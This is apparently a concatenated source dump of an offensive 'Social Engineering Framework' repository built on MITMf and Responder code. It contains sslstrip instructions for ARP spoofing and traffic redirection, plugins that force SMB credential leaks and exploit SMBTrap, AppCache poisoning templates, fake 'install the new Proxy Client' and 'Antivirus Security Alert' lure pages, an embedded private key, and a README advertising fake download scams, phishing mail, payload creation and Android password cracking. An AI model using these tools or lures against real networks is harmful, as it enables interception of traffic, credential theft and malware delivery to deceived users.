Access has been blocked. Please download and install the new Captive Portal Client in order to access internet resources.
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/sniffer/core/sslstrip/README.md:
--------------------------------------------------------------------------------
1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
2 | attacks.
3 |
4 | It requires Python 2.5 or newer, along with the 'twisted' python module.
5 |
6 | Installing:
7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz
8 | * Install twisted: sudo apt-get install python-twisted-web
9 | * (Optionally) run 'python setup.py install' as root to install,
10 | or you can just run it out of the directory.
11 |
12 | Running:
13 | sslstrip can be run from the source base without installation.
14 | Just run 'python sslstrip.py -h' as a non-root user to get the
15 | command-line options.
16 |
17 | The four steps to getting this working (assuming you're running Linux)
18 | are:
19 |
20 | 1) Flip your machine into forwarding mode (as root):
21 | echo "1" > /proc/sys/net/ipv4/ip_forward
22 |
23 | 2) Setup iptables to intercept HTTP requests (as root):
24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
25 |
26 | 3) Run sslstrip with the command-line options you'd like (see above).
27 |
28 | 4) Run arpspoof to redirect traffic to your machine (as root):
29 | arpspoof -i -t
30 |
31 | More Info:
32 | http://www.thoughtcrime.org/software/sslstrip/
33 |
--------------------------------------------------------------------------------
/sniffer/libs/sslstrip/README.md:
--------------------------------------------------------------------------------
1 | sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping
2 | attacks.
3 |
4 | It requires Python 2.5 or newer, along with the 'twisted' python module.
5 |
6 | Installing:
7 | * Unpack: tar zxvf sslstrip-0.5.tar.gz
8 | * Install twisted: sudo apt-get install python-twisted-web
9 | * (Optionally) run 'python setup.py install' as root to install,
10 | or you can just run it out of the directory.
11 |
12 | Running:
13 | sslstrip can be run from the source base without installation.
14 | Just run 'python sslstrip.py -h' as a non-root user to get the
15 | command-line options.
16 |
17 | The four steps to getting this working (assuming you're running Linux)
18 | are:
19 |
20 | 1) Flip your machine into forwarding mode (as root):
21 | echo "1" > /proc/sys/net/ipv4/ip_forward
22 |
23 | 2) Setup iptables to intercept HTTP requests (as root):
24 | iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port
25 |
26 | 3) Run sslstrip with the command-line options you'd like (see above).
27 |
28 | 4) Run arpspoof to redirect traffic to your machine (as root):
29 | arpspoof -i -t
30 |
31 | More Info:
32 | http://www.thoughtcrime.org/software/sslstrip/
33 |
--------------------------------------------------------------------------------
/sniffer/config/responder/AccessDenied.html:
--------------------------------------------------------------------------------
1 |
2 |
3 | Website Blocked: ISA Proxy Server
4 |
14 |
15 |
16 |
17 |
18 |
19 |
New Security Policy: Website Blocked
20 |
21 |
22 |
23 |
Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
--------------------------------------------------------------------------------
/sniffer/core/packetfilter.py:
--------------------------------------------------------------------------------
1 | from core.utils import set_ip_forwarding, iptables
2 | from core.logger import logger
3 | from scapy.all import *
4 | from traceback import print_exc
5 | from netfilterqueue import NetfilterQueue
6 |
7 | formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
8 | log = logger().setup_logger("PacketFilter", formatter)
9 |
10 | class PacketFilter:
11 |
12 | def __init__(self, filter):
13 | self.filter = filter
14 |
15 | def start(self):
16 | set_ip_forwarding(1)
17 | iptables().NFQUEUE()
18 |
19 | self.nfqueue = NetfilterQueue()
20 | self.nfqueue.bind(0, self.modify)
21 |
22 | self.nfqueue.run()
23 |
24 | def modify(self, pkt):
25 | #log.debug("Got packet")
26 | data = pkt.get_payload()
27 | packet = IP(data)
28 |
29 | for filter in self.filter:
30 | try:
31 | execfile(i)
32 | except Exception:
33 | log.debug("Error occurred in filter", filter)
34 | print_exc()
35 |
36 | pkt.set_payload(str(packet)) #set the packet content to our modified version
37 | pkt.accept() #accept the packet
38 |
39 | def stop(self):
40 | self.nfqueue.unbind()
41 | set_ip_forwarding(0)
42 | iptables().flush()
43 |
--------------------------------------------------------------------------------
/sniffer/libs/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 |
24 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
25 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
26 | We then proxy these out using HTTP or HTTPS depending on what information we have about
27 | the (connection, client_address) tuple in our cache.
28 | '''
29 |
30 | requestFactory = ClientRequest
31 |
--------------------------------------------------------------------------------
/sniffer/config/app_cache_poison_templates/default.append:
--------------------------------------------------------------------------------
1 |
30 |
This page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create appropriate files in your templates directory and add your content there.
38 |
--------------------------------------------------------------------------------
/sniffer/core/sslstrip/StrippingProxy.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | from twisted.web.http import HTTPChannel
20 | from ClientRequest import ClientRequest
21 |
22 | class StrippingProxy(HTTPChannel):
23 |
24 | '''sslstrip is, at heart, a transparent proxy server that does some unusual things.
25 | This is the basic proxy server class, where we get callbacks for GET and POST methods.
26 | We then proxy these out using HTTP or HTTPS depending on what information we have about
27 | the (connection, client_address) tuple in our cache.
28 | '''
29 |
30 | requestFactory = ClientRequest
31 |
--------------------------------------------------------------------------------
/sniffer/core/ferretng/DnsCache.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Moxie Marlinspike, Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | class DnsCache:
20 |
21 | '''
22 | The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
23 | '''
24 |
25 | _instance = None
26 |
27 | def __init__(self):
28 | self.customAddress = None
29 | self.cache = {}
30 |
31 | @staticmethod
32 | def getInstance():
33 | if DnsCache._instance == None:
34 | DnsCache._instance = DnsCache()
35 |
36 | return DnsCache._instance
37 |
38 | def cacheResolution(self, host, address):
39 | self.cache[host] = address
40 |
41 | def getCachedAddress(self, host):
42 | if host in self.cache:
43 | return self.cache[host]
44 |
45 | return None
46 |
--------------------------------------------------------------------------------
/sniffer/plugins/SMBAuth.py:
--------------------------------------------------------------------------------
1 | from plugins.plugin import Plugin
2 | from plugins.Inject import Inject
3 | import sys
4 | import logging
5 | logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
6 | from scapy.all import get_if_addr
7 |
8 |
9 | class SMBAuth(Inject, Plugin):
10 | name = "SMBAuth"
11 | optname = "smbauth"
12 | desc = "Evoke SMB challenge-response auth attempts"
13 |
14 | def initialize(self, options):
15 | Inject.initialize(self, options)
16 | self.target_ip = options.host
17 | self.html_payload = self._get_data()
18 |
19 | if self.target_ip is None:
20 | try:
21 | self.target_ip = get_if_addr(options.interface)
22 | if self.target_ip == "0.0.0.0":
23 | sys.exit("[-] Interface %s does not have an IP address" % options.interface)
24 | except Exception, e:
25 | sys.exit("[-] Error retrieving interface IP address: %s" % e)
26 |
27 | print "[*] SMBAuth plugin online"
28 |
29 | def add_options(self, options):
30 | options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]")
31 |
32 | def _get_data(self):
33 | return ''\
34 | ''\
35 | '' % tuple([self.target_ip]*3)
36 |
--------------------------------------------------------------------------------
/sniffer/libs/responder/FindSQLSrv.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 | # Created by Laurent Gaffie
3 | # This file is part of the Responder toolkit.
4 | # Copyright (C) 2014 Trustwave Holdings, Inc.
5 | #
6 | # This program is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # This program is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program. If not, see .
18 | import socket
19 | from socket import *
20 |
21 | print 'MSSQL Server Finder 0.1\nPlease send bugs/comments/e-beer to: lgaffie@trustwave.com\n'
22 |
23 | s = socket(AF_INET,SOCK_DGRAM)
24 | s.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)
25 | s.settimeout(2)
26 | s.sendto('\x02',('255.255.255.255',1434))
27 | try:
28 | while 1:
29 | data, address = s.recvfrom(8092)
30 | if not data:
31 | break
32 | else:
33 | print "===============================================================\nHost details:",address[0]
34 | print data[2:]
35 | print "===============================================================\n"
36 | except:
37 | pass
38 |
39 |
40 |
--------------------------------------------------------------------------------
/sniffer/plugins/smbauth.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | # Copyright (c) 2014-2016 Marcello Salvati
4 | #
5 | # This program is free software; you can redistribute it and/or
6 | # modify it under the terms of the GNU General Public License as
7 | # published by the Free Software Foundation; either version 3 of the
8 | # License, or (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful, but
11 | # WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 | # General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program; if not, write to the Free Software
17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
18 | # USA
19 | #
20 |
21 | from plugins.plugin import Plugin
22 | from plugins.inject import Inject
23 |
24 | class SMBAuth(Inject, Plugin):
25 | name = "SMBAuth"
26 | optname = "smbauth"
27 | desc = "Evoke SMB challenge-response auth attempts"
28 | version = "0.1"
29 |
30 | def initialize(self, options):
31 | self.ip = options.ip
32 | Inject.initialize(self, options)
33 | self.html_payload = self._get_data()
34 |
35 | def _get_data(self):
36 | return ''\
37 | ''\
38 | '' % tuple([self.ip]*3)
39 |
40 | def options(self, options):
41 | pass
42 |
--------------------------------------------------------------------------------
/Scame/index.html:
--------------------------------------------------------------------------------
1 |
2 | Antivirus Security Alert
3 |
4 |
5 |
6 | Antivirus Security Alert
7 |
Download and installation of upgrade required.
8 |
this security update resolves a vulnerabilty in Antivirus security.The vulnerabilty could allow remote code execution if a user views a specially crafted webage using
9 | any internet explorer.An attacker who successfully exploited this vulnerabilty could gain the same user rights as the current use.Customers whose accounts are
10 | configured to have fewer user rights on the system could be less impacted then those who operate with administrative user rights.
11 |
This security update is rated Critical for Antivirus security to make it saftey and easy to use and make it clean from vulnerabilty to stop
12 | any opreation hacking you on network and make your wireless network very strong agints attacker.
13 |
14 |
You can select your system type from below and please after download install software to make Antivirus saftey
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/sniffer/core/logger.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python2.7
2 | # -*- coding: utf-8 -*-
3 |
4 | # Copyright (c) 2014-2016 Marcello Salvati
5 | #
6 | # This program is free software; you can redistribute it and/or
7 | # modify it under the terms of the GNU General Public License as
8 | # published by the Free Software Foundation; either version 3 of the
9 | # License, or (at your option) any later version.
10 | #
11 | # This program is distributed in the hope that it will be useful, but
12 | # WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
14 | # General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
19 | # USA
20 | #
21 |
22 | import logging
23 | import sys
24 |
25 |
26 | class logger:
27 |
28 | log_level = None
29 | __shared_state = {}
30 |
31 | def __init__(self):
32 | self.__dict__ = self.__shared_state
33 |
34 | def setup_logger(self, name, formatter, logfile='./logs/mitmf.log'):
35 | fileHandler = logging.FileHandler(logfile)
36 | fileHandler.setFormatter(formatter)
37 | streamHandler = logging.StreamHandler(sys.stdout)
38 | streamHandler.setFormatter(formatter)
39 |
40 | logger = logging.getLogger(name)
41 | logger.propagate = False
42 | logger.addHandler(streamHandler)
43 | logger.addHandler(fileHandler)
44 | logger.setLevel(self.log_level)
45 |
46 | return logger
47 |
--------------------------------------------------------------------------------
/sniffer/plugins/smbtrap.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 | import random
19 | import string
20 |
21 | from plugins.plugin import Plugin
22 |
23 | class SMBTrap(Plugin):
24 | name = "SMBTrap"
25 | optname = "smbtrap"
26 | desc = "Exploits the SMBTrap vulnerability on connected clients"
27 | version = "1.0"
28 |
29 | def initialize(self, options):
30 | self.ip = options.ip
31 |
32 | def responsestatus(self, request, version, code, message):
33 | return {"request": request, "version": version, "code": 302, "message": "Found"}
34 |
35 | def responseheaders(self, response, request):
36 | self.clientlog.info("Trapping request to {}".format(request.headers['host']), extra=request.clientInfo)
37 | rand_path = ''.join(random.sample(string.ascii_uppercase + string.digits, 8))
38 | response.responseHeaders.setRawHeaders('Location', ["file://{}/{}".format(self.ip, rand_path)])
39 |
--------------------------------------------------------------------------------
/sniffer/config/app_cache_poison_templates/test.replace:
--------------------------------------------------------------------------------
1 |
2 |
33 |
42 |
49 |
--------------------------------------------------------------------------------
/sniffer/core/configwatcher.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | # Copyright (c) 2014-2016 Marcello Salvati
4 | #
5 | # This program is free software; you can redistribute it and/or
6 | # modify it under the terms of the GNU General Public License as
7 | # published by the Free Software Foundation; either version 3 of the
8 | # License, or (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful, but
11 | # WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 | # General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program; if not, write to the Free Software
17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
18 | # USA
19 | #
20 | import pyinotify
21 | import threading
22 | from configobj import ConfigObj
23 |
24 | class ConfigWatcher(pyinotify.ProcessEvent, object):
25 |
26 | @property
27 | def config(self):
28 | return ConfigObj("./config/mitmf.conf")
29 |
30 | def process_IN_MODIFY(self, event):
31 | self.on_config_change()
32 |
33 | def start_config_watch(self):
34 | wm = pyinotify.WatchManager()
35 | wm.add_watch('./config/mitmf.conf', pyinotify.IN_MODIFY)
36 | notifier = pyinotify.Notifier(wm, self)
37 |
38 | t = threading.Thread(name='ConfigWatcher', target=notifier.loop)
39 | t.setDaemon(True)
40 | t.start()
41 |
42 | def on_config_change(self):
43 | """ We can subclass this function to do stuff after the config file has been modified"""
44 | pass
45 |
--------------------------------------------------------------------------------
/sniffer/plugins/sslstrip+.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2014-2016 Marcello Salvati
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import sys
20 | from plugins.plugin import Plugin
21 |
22 | class SSLstripPlus(Plugin):
23 | name = 'SSLstrip+'
24 | optname = 'hsts'
25 | desc = 'Enables SSLstrip+ for partial HSTS bypass'
26 | version = "0.4"
27 | tree_info = ["SSLstrip+ by Leonardo Nve running"]
28 |
29 | def initialize(self, options):
30 | self.options = options
31 |
32 | from core.sslstrip.URLMonitor import URLMonitor
33 | from core.servers.DNS import DNSChef
34 | from core.utils import iptables
35 |
36 | if iptables().dns is False and options.filter is False:
37 | iptables().DNS(self.config['MITMf']['DNS']['port'])
38 |
39 | URLMonitor.getInstance().setHstsBypass()
40 | DNSChef().setHstsBypass()
41 |
42 | def on_shutdown(self):
43 | from core.utils import iptables
44 | if iptables().dns is True:
45 | iptables().flush()
46 |
--------------------------------------------------------------------------------
/sniffer/config/app_cache_poison_templates/facebook.append:
--------------------------------------------------------------------------------
1 |
30 |
%%tamper_url%% page is spoofed with AppCache Poison by Krzysztof Kotowicz, but this is just a default content. To replace it, create facebook.append or facebook.replace file and add your content there.
38 |
39 |
46 |
47 |
--------------------------------------------------------------------------------
/sniffer/config/responder/responder.key:
--------------------------------------------------------------------------------
1 | -----BEGIN RSA PRIVATE KEY-----
2 | MIIEowIBAAKCAQEAunMwNRcEEAUJQSZDeDh/hGmpPEzMr1v9fVYie4uFD33thh1k
3 | sPET7uFRXpPmaTMjJFZjWL/L/kgozihgF+RdyR7lBe26z1Na2XEvrtHbQ9a/BAYP
4 | 2nX6V7Bt8izIz/Ox3qKe/mu1R5JFN0/i+y4/dcVCpPu7Uu1gXdLfRIvRRv7QtnsC
5 | 6Q/c6xINEbUx58TRkq1lz+Tbk2lGlmon2HqNvQ0y/6amOeY0/sSau5RPw9xtwCPg
6 | WcaRdjwf+RcORC7/KVXVzMNcqJWwT1D1THs5UExxTEj4TcrUbcW75+vI3mIjzMJF
7 | N3NhktbqPG8BXC7+qs+UVMvriDEqGrGwttPXXwIDAQABAoIBABuAkDTUj0nZpFLS
8 | 1RLvqoeamlcFsQ+QzyRkxzNYEimF1rp4rXiYJuuOmtULleogm+dpQsA9klaQyEwY
9 | kowTqG3ZO8kTFwIr9nOqiXENDX3FOGnchwwfaOz0XlNhncFm3e7MKA25T4UeI02U
10 | YBPS75NspHb3ltsVnqhYSYyv3w/Ml/mDz+D76dRgT6seLEOTkKwZj7icBR6GNO1R
11 | FLbffJNE6ZcXI0O892CTVUB4d3egcpSDuaAq3f/UoRB3xH7MlnEPfxE3y34wcp8i
12 | erqm/8uVeBOnQMG9FVGXBJXbjSjnWS27sj/vGm+0rc8c925Ed1QdIM4Cvk6rMOHQ
13 | IGkDnvECgYEA4e3B6wFtONysLhkG6Wf9lDHog35vE/Ymc695gwksK07brxPF1NRS
14 | nNr3G918q+CE/0tBHqyl1i8SQ/f3Ejo7eLsfpAGwR9kbD9hw2ViYvEio9dAIMVTL
15 | LzJoSDLwcPCtEOpasl0xzyXrTBzWuNYTlfvGkyd2mutynORRIZPhgHkCgYEA00Q9
16 | cHBkoBOIHF8XHV3pm0qfwuE13BjKSwKIrNyKssGf8sY6bFGhLSpTLjWEMN/7B+S1
17 | 5IC0apiGjHNK6Z51kjKhEmSzCg8rXyULOalsyo2hNsMA+Lt1g72zJIDIT/+YeKAf
18 | s85G6VgMtNLozNjx7C1eMugECJ+rrpRVpIe1kJcCgYAr+I0cQtvSDEjKc/5/YMje
19 | ldQN+4Z82RRkwYshsKBTEXb6HRwMrwIhGxCq8LF59imMUkYrRSjFhcXFSrZgasr2
20 | VVz0G4wGf7+flt1nv7GCO5X+uW1OxJUC64mWO6vGH2FfgG0Ed9Tg3x1rY9V6hdes
21 | AiOEslKIFjjpRhpwMYra6QKBgQDLFO/SY9f2oI/YZff8PMhQhL1qQb7aYeIjlL35
22 | HM8e4k10u+RxN06t8d+frcXyjXvrrIjErIvBY/kCjdlXFQGDlbOL0MziQI66mQtf
23 | VGPFmbt8vpryfpCKIRJRZpInhFT2r0WKPCGiMQeV0qACOhDjrQC+ApXODF6mJOTm
24 | kaWQ5QKBgHE0pD2GAZwqlvKCM5YmBvDpebaBNwpvoY22e2jzyuQF6cmw85eAtp35
25 | f92PeuiYyaXuLgL2BR4HSYSjwggxh31JJnRccIxSamATrGOiWnIttDsCB5/WibOp
26 | MKuFj26d01imFixufclvZfJxbAvVy4H9hmyjgtycNY+Gp5/CLgDC
27 | -----END RSA PRIVATE KEY-----
28 |
--------------------------------------------------------------------------------
/sniffer/plugins/Upsidedownternet.py:
--------------------------------------------------------------------------------
1 | import logging
2 | from cStringIO import StringIO
3 | from plugins.plugin import Plugin
4 | from PIL import Image
5 |
6 |
7 | class Upsidedownternet(Plugin):
8 | name = "Upsidedownternet"
9 | optname = "upsidedownternet"
10 | desc = 'Flips images 180 degrees'
11 | has_opts = False
12 | implements = ["handleResponse", "handleHeader"]
13 |
14 | def initialize(self, options):
15 | from PIL import Image, ImageFile
16 | globals()['Image'] = Image
17 | globals()['ImageFile'] = ImageFile
18 | self.options = options
19 |
20 | def handleHeader(self, request, key, value):
21 | '''Kill the image skipping that's in place for speed reasons'''
22 | if request.isImageRequest:
23 | request.isImageRequest = False
24 | request.isImage = True
25 | request.imageType = value.split("/")[1].upper()
26 |
27 | def handleResponse(self, request, data):
28 | try:
29 | isImage = getattr(request, 'isImage')
30 | except AttributeError:
31 | isImage = False
32 |
33 | if isImage:
34 | try:
35 | image_type = request.imageType
36 | #For some reason more images get parsed using the parser
37 | #rather than a file...PIL still needs some work I guess
38 | p = ImageFile.Parser()
39 | p.feed(data)
40 | im = p.close()
41 | im = im.transpose(Image.ROTATE_180)
42 | output = StringIO()
43 | im.save(output, format=image_type)
44 | data = output.getvalue()
45 | output.close()
46 | logging.info("Flipped image")
47 | except Exception as e:
48 | print "Error: %s" % e
49 | return {'request': request, 'data': data}
50 |
--------------------------------------------------------------------------------
/sniffer/libs/sslstrip/ServerConnectionFactory.py:
--------------------------------------------------------------------------------
1 | # Copyright (c) 2004-2009 Moxie Marlinspike
2 | #
3 | # This program is free software; you can redistribute it and/or
4 | # modify it under the terms of the GNU General Public License as
5 | # published by the Free Software Foundation; either version 3 of the
6 | # License, or (at your option) any later version.
7 | #
8 | # This program is distributed in the hope that it will be useful, but
9 | # WITHOUT ANY WARRANTY; without even the implied warranty of
10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
11 | # General Public License for more details.
12 | #
13 | # You should have received a copy of the GNU General Public License
14 | # along with this program; if not, write to the Free Software
15 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
16 | # USA
17 | #
18 |
19 | import logging
20 | from twisted.internet.protocol import ClientFactory
21 |
22 | class ServerConnectionFactory(ClientFactory):
23 |
24 | def __init__(self, command, uri, postData, headers, client):
25 | self.command = command
26 | self.uri = uri
27 | self.postData = postData
28 | self.headers = headers
29 | self.client = client
30 |
31 | def buildProtocol(self, addr):
32 | return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
33 |
34 | def clientConnectionFailed(self, connector, reason):
35 | logging.debug("Server connection failed.")
36 |
37 | destination = connector.getDestination()
38 |
39 | if (destination.port != 443):
40 | logging.debug("Retrying via SSL")
41 | self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
42 | else:
43 | try:
44 | self.client.finish()
45 | except:
46 | pass
47 |
--------------------------------------------------------------------------------
/sniffer/plugins/browserprofiler.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 |
3 | # Copyright (c) 2014-2016 Marcello Salvati
4 | #
5 | # This program is free software; you can redistribute it and/or
6 | # modify it under the terms of the GNU General Public License as
7 | # published by the Free Software Foundation; either version 3 of the
8 | # License, or (at your option) any later version.
9 | #
10 | # This program is distributed in the hope that it will be useful, but
11 | # WITHOUT ANY WARRANTY; without even the implied warranty of
12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13 | # General Public License for more details.
14 | #
15 | # You should have received a copy of the GNU General Public License
16 | # along with this program; if not, write to the Free Software
17 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
18 | # USA
19 | #
20 | import json
21 |
22 | from pprint import pformat
23 | from plugins.plugin import Plugin
24 | from plugins.inject import Inject
25 |
26 | class BrowserProfiler(Inject, Plugin):
27 | name = "BrowserProfiler"
28 | optname = "browserprofiler"
29 | desc = "Attempts to enumerate all browser plugins of connected clients"
30 | version = "0.3"
31 |
32 | def initialize(self, options):
33 | Inject.initialize(self, options)
34 | self.js_file = "./core/javascript/plugindetect.js"
35 | self.output = {} # so other plugins can access the results
36 |
37 | def request(self, request):
38 | if (request.command == 'POST') and ('clientprfl' in request.uri):
39 | request.handle_post_output = True
40 | self.output = json.loads(request.postData)
41 | self.output['ip'] = request.client.getClientIP()
42 | pretty_output = pformat(self.output)
43 | self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo)
44 |
45 | def options(self, options):
46 | pass
47 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Social Engineering Framework 
2 | Social Engineering Framework is a framework to hack mind and sniff and exploit and many features more.
3 |
4 | IT is tools to hack mind and make payload and malware.
5 | # INSTALL
6 | 1- First download framework use this command:
7 | ```
8 | git clone https://github.com/ahmadnourallah/SEF.git
9 | ```
10 | 2- Then go to directory tools and give permission to all tools files.
11 |
12 | 3- After that install the requirements the Requirements is:
16 | 4- After install the requirements execute the install file and wait to finish.
17 | 5- Finally, type in the terminal seframework to run the tools.
18 | # Features
19 | 1- Make fake download scame.
20 | 2- Mass Mailer Attack (Send fake email use real gmail account).
21 | 3- Sniif packets on your network use mitmf python script.
22 | 4- Payload creator and listner (make payload use msfvenom and start listen use msfconsole).
23 | 5- Windows exploits browser (make automatic exploit to exploit in metasploit).
24 | 6- Bluetooth toolkit (scan deivce on your area, scan bluetooth service in specific device, evil twin attack on specific bluetooth, attack on specific service in device).
25 | 7- Android toolkit (get android shell, android app databases decoder, download file from device).
26 | 8- Hack android passowrd(pattern, pin, password).
27 | # Call US
28 | ####Ahmad Nourallah:
29 | Email: ahmadnurallah@gmail.com
30 | Facebook: fb.com/ahmadnurallah
31 | ####Dante Nourallah:
32 | Facebook: fb.com/dante.nourllah
33 |
34 | For More Information visit our wiki page ==> [Wiki](https://github.com/ahmadnourallah/SEF/wiki)
35 |
36 |
37 |
38 |
--------------------------------------------------------------------------------
/sniffer/libs/responder/IMAPPackets.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python
2 | # NBT-NS/LLMNR Responder
3 | # Created by Laurent Gaffie
4 | # Copyright (C) 2014 Trustwave Holdings, Inc.
5 | #
6 | # This program is free software: you can redistribute it and/or modify
7 | # it under the terms of the GNU General Public License as published by
8 | # the Free Software Foundation, either version 3 of the License, or
9 | # (at your option) any later version.
10 | #
11 | # This program is distributed in the hope that it will be useful,
12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | # GNU General Public License for more details.
15 | #
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program. If not, see .
18 | import struct
19 | from odict import OrderedDict
20 |
21 | class Packet():
22 | fields = OrderedDict([
23 | ("data", ""),
24 | ])
25 | def __init__(self, **kw):
26 | self.fields = OrderedDict(self.__class__.fields)
27 | for k,v in kw.items():
28 | if callable(v):
29 | self.fields[k] = v(self.fields[k])
30 | else:
31 | self.fields[k] = v
32 | def __str__(self):
33 | return "".join(map(str, self.fields.values()))
34 |
35 | #IMAP4 Greating class
36 | class IMAPGreating(Packet):
